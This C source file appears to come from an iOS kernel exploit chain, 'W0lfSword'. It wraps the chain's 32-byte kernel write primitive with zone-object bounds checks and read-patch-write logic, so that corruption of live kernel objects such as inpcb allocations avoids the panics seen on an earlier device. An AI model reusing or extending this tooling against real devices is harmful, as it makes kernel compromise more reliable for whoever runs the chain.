//
//  krw_zone_write.c
//  W0lfSword
//
//  BUG.1 step 3 (2026-09-11 SE panic, SG.8 / SG.9) + step 3b (the residual step
//  3 left open: an undeclared exactly-0x20 write, which IS the SE write).
//
//  Why this file exists: `early_kwrite32bytes` is the only writer this chain
//  has and it always emits exactly 32 bytes, so a write whose length is not a
//  multiple of 0x20 emits its last block shifted BACKWARD to end at the
//  requested end - an implicit claim that the target sits at the end of its
//  object. On the SE that claim was false:
//
//      zone bound checks: buffer 0xffffffe0d1f26550 of length 32 overflows
//      object 0xffffffe0d1f26500 of size 96 in zone [data.kalloc.96]
//      @zalloc.c:1322
//
//  i.e. a block starting 0x50 bytes into a 0x60-byte object, ending 0x10 bytes
//  past its end, and XNU panicked the phone instead of corrupting silently.
//
//  The rule enforced here (the way a caller states the object it knows is
//  kwrite_zone_element_declared, or kwrite_zone_element_set_object for the
//  process-wide window):
//
//    * NOTHING is written without a declared object. A block is provably safe
//      only inside the allocation that contains it, and only the caller knows
//      that allocation; an undeclared call is refused with a log line. This is
//      the check that catches the SE write itself, which was an exact multiple
//      of 0x20 (one block at +0x50 of a 0x60 object) and so was never covered
//      by the shifted-block rule;
//    * with an object declared, EVERY block of the range must fit it
//      (base <= block && block + 0x20 <= base + size), otherwise the call is
//      refused;
//    * a shifted tail block must not precede the object base;
//    * the whole range is checked before the first byte is written, and the
//      emit loop re-checks each block, so a refusal can never leave a
//      half-applied write in a live kernel object.
//
//  What this file cannot do, stated plainly: it verifies a block against the
//  window it is GIVEN. A caller that declares the wrong window - or declares a
//  window derived from an address it never verified - gets a self-consistent
//  answer. The address trust belongs to the caller (the probe's canonical
//  pointer guard and its live-inpcb value check); this file's job is that no
//  block is ever emitted unproven. Reading the true allocation size from the
//  zone (inpcbinfo.ipi_zone -> elem_size) is still open as BUG.7/0.13: this
//  tree has no zone elem_size offset, and inventing one would be the same class
//  of guess that panicked the SE.
//
#include "krw_zone_write.h"

#include <stdio.h>
#include <string.h>

bool krw_zone_window_contains(uint64_t dst, uint64_t base, uint64_t size)
{
    if (base == 0 || size == 0) return false;
    if (base + size < base) return false;   // wrapped: not a window
    return dst >= base && dst < base + size;
}

uint64_t krw_zone_block_align_down(uint64_t addr)
{
    return addr & ~((uint64_t)KRW_ZONE_BLOCK_LEN - 1);
}

uint64_t krw_zone_window_for_field_end(uint64_t fieldEnd)
{
    if (fieldEnd == 0) return 0;
    if (fieldEnd > UINT64_MAX - KRW_ZONE_BLOCK_LEN) return 0;
    return (fieldEnd + KRW_ZONE_BLOCK_LEN - 1) & ~((uint64_t)KRW_ZONE_BLOCK_LEN - 1);
}

krw_zone_verdict krw_zone_check_bounds(uint64_t dst, uint64_t len,
                                       uint64_t objBase, uint64_t objSize,
                                       bool haveObj,
                                       uint64_t *blockStartOut)
{
    if (len < KRW_ZONE_BLOCK_LEN) return KRW_ZONE_REFUSE_LEN;

    // The blocks tile [dst, dst+len), so the last one starts here: a full block
    // when len is a multiple of 0x20, the backward-shifted tail otherwise.
    uint64_t lastBlockStart = dst + len - KRW_ZONE_BLOCK_LEN;
    if (blockStartOut) *blockStartOut = lastBlockStart;

    if (!haveObj) {
        // Default deny. The two verdicts below are the same refusal with the
        // diagnostic the caller's shape deserves; neither is written.
        return (len % KRW_ZONE_BLOCK_LEN != 0) ? KRW_ZONE_REFUSE_NO_OBJECT_SHIFT
                                               : KRW_ZONE_REFUSE_UNDECLARED;
    }

    if (len % KRW_ZONE_BLOCK_LEN != 0) {
        // The tail fragment is the block that gets moved. The declaration is
        // what makes its start provable.
        if (lastBlockStart < objBase) return KRW_ZONE_REFUSE_SHIFT_BEFORE_BASE;
    }

    // Every block the emit loop will write, checked before the first byte goes
    // out: the whole range has to fit the object.
    uint64_t off = 0;
    while (off < len) {
        uint64_t writeSize = (len - off >= KRW_ZONE_BLOCK_LEN)
                             ? KRW_ZONE_BLOCK_LEN
                             : (len - off);
        uint64_t writeDst = dst + off;
        if (writeSize != KRW_ZONE_BLOCK_LEN) writeDst -= (KRW_ZONE_BLOCK_LEN - writeSize);

        if (writeDst < objBase || writeDst + KRW_ZONE_BLOCK_LEN > objBase + objSize) {
            if (blockStartOut) *blockStartOut = writeDst;
            return KRW_ZONE_REFUSE_PAST_END;
        }
        off += writeSize;
    }

    return KRW_ZONE_OK;
}

static void krw_zone_log_refusal(krw_zone_verdict verdict, uint64_t dst,
                                 uint64_t len, uint64_t objBase,
                                 uint64_t objSize, uint64_t lastBlockStart)
{
    switch (verdict) {
    case KRW_ZONE_REFUSE_LEN:
        printf("[krw] kwrite_zone_element: len %#llx < 0x20 not supported\n",
               (unsigned long long)len);
        break;

    case KRW_ZONE_REFUSE_UNDECLARED:
        printf("[krw] refusing 32-byte block at %#llx (len %#llx): no enclosing object declared - "
               "a block that is not provably inside its allocation panics the device "
               "(2026-09-11 SE, zalloc.c:1322); declare it with "
               "kwrite_zone_element_declared(dst, src, len, base, size) or "
               "kwrite_zone_element_set_object(base, size) when the caller knows the allocation\n",
               (unsigned long long)dst, (unsigned long long)len);
        break;

    case KRW_ZONE_REFUSE_NO_OBJECT_SHIFT:
        printf("[krw] refusing 32-byte block: shifted start %#llx has no enclosing object declared "
               "(base 0 = unknown; call kwrite_zone_element_set_object(base, size) or "
               "kwrite_zone_element_declared(dst, src, len, base, size) when the caller knows the allocation)\n",
               (unsigned long long)lastBlockStart);
        break;

    case KRW_ZONE_REFUSE_SHIFT_BEFORE_BASE:
        printf("[krw] refusing 32-byte block: block start %#llx is before the object base %#llx "
               "(requested dst %#llx len %#llx)\n",
               (unsigned long long)lastBlockStart, (unsigned long long)objBase,
               (unsigned long long)dst, (unsigned long long)len);
        break;

    case KRW_ZONE_REFUSE_PAST_END:
        printf("[krw] refusing 32-byte block: block %#llx..%#llx is outside object %#llx..%#llx "
               "(requested dst %#llx len %#llx)\n",
               (unsigned long long)lastBlockStart,
               (unsigned long long)(lastBlockStart + KRW_ZONE_BLOCK_LEN),
               (unsigned long long)objBase,
               (unsigned long long)(objBase + objSize),
               (unsigned long long)dst, (unsigned long long)len);
        break;

    case KRW_ZONE_OK:
    default:
        break;
    }
}

krw_zone_verdict krw_zone_write(uint64_t dst, const void *src, uint64_t len,
                                uint64_t objBase, uint64_t objSize)
{
    uint64_t lastBlockStart = 0;
    bool haveObj = krw_zone_window_contains(dst, objBase, objSize);

    krw_zone_verdict verdict = krw_zone_check_bounds(dst, len, objBase, objSize,
                                                     haveObj, &lastBlockStart);
    if (verdict != KRW_ZONE_OK) {
        krw_zone_log_refusal(verdict, dst, len, objBase, objSize, lastBlockStart);
        return verdict;
    }

    uint8_t tmpBuf[KRW_ZONE_BLOCK_LEN];
    uint64_t remaining = len;
    uint64_t offset = 0;

    while (remaining != 0) {
        uint64_t writeSize = (remaining >= KRW_ZONE_BLOCK_LEN)
                             ? KRW_ZONE_BLOCK_LEN
                             : (remaining % KRW_ZONE_BLOCK_LEN);

        uint64_t writeDst = dst + offset;
        if (writeSize != KRW_ZONE_BLOCK_LEN) writeDst -= (KRW_ZONE_BLOCK_LEN - writeSize);

        // The planning pass above proved this block. Re-checking it here is what
        // keeps a future edit to this loop from silently emitting a block that
        // leaves the object - the one outcome that is a panic on device.
        if (writeDst < objBase || writeDst + KRW_ZONE_BLOCK_LEN > objBase + objSize) {
            printf("[krw] internal: block %#llx..%#llx left object %#llx..%#llx after the bound "
                   "check passed - stopping instead of writing it\n",
                   (unsigned long long)writeDst,
                   (unsigned long long)(writeDst + KRW_ZONE_BLOCK_LEN),
                   (unsigned long long)objBase, (unsigned long long)(objBase + objSize));
            return KRW_ZONE_REFUSE_PAST_END;
        }

        if (writeSize != KRW_ZONE_BLOCK_LEN) {
            // Last fragment < 0x20: the block that is emitted is the one just
            // computed - shifted backward so it ENDS at dst+len (writeDst was
            // already moved there above). krw_zone_check_bounds() proved that
            // window, and the shift can only move the start INTO the range
            // (len >= 0x20). Read the existing bytes of the shifted block and
            // put back the ones the caller did not ask to change.
            uint64_t adjust = KRW_ZONE_BLOCK_LEN - writeSize;

            krw_zone_read_block(writeDst, tmpBuf);
            memcpy(tmpBuf + adjust, (const uint8_t *)src + offset, writeSize);
            krw_zone_write_block(writeDst, tmpBuf);
        } else {
            krw_zone_write_block(writeDst, (const uint8_t *)src + offset);
        }

        remaining -= writeSize;
        offset    += writeSize;
    }

    return KRW_ZONE_OK;
}

krw_zone_verdict krw_zone_write_qword(uint64_t dst, uint64_t value,
                                      uint64_t objBase, uint64_t objSize)
{
    uint64_t blockStart = krw_zone_block_align_down(dst);
    bool haveObj = krw_zone_window_contains(dst, objBase, objSize);

    if (!haveObj) {
        krw_zone_log_refusal(KRW_ZONE_REFUSE_UNDECLARED, dst, sizeof(uint64_t),
                             objBase, objSize, blockStart);
        return KRW_ZONE_REFUSE_UNDECLARED;
    }
    if (blockStart < objBase) {
        krw_zone_log_refusal(KRW_ZONE_REFUSE_SHIFT_BEFORE_BASE, dst, sizeof(uint64_t),
                             objBase, objSize, blockStart);
        return KRW_ZONE_REFUSE_SHIFT_BEFORE_BASE;
    }
    if (blockStart + KRW_ZONE_BLOCK_LEN > objBase + objSize) {
        krw_zone_log_refusal(KRW_ZONE_REFUSE_PAST_END, dst, sizeof(uint64_t),
                             objBase, objSize, blockStart);
        return KRW_ZONE_REFUSE_PAST_END;
    }

    // Read-patch-write one ALIGNED block: identical width to every other write
    // here, and - unlike early_kwrite64's 32 bytes starting AT dst - it can
    // never straddle two aligned units of the object.
    uint8_t block[KRW_ZONE_BLOCK_LEN];
    krw_zone_read_block(blockStart, block);
    memcpy(block + (size_t)(dst - blockStart), &value, sizeof(value));
    krw_zone_write_block(blockStart, block);

    return KRW_ZONE_OK;
}
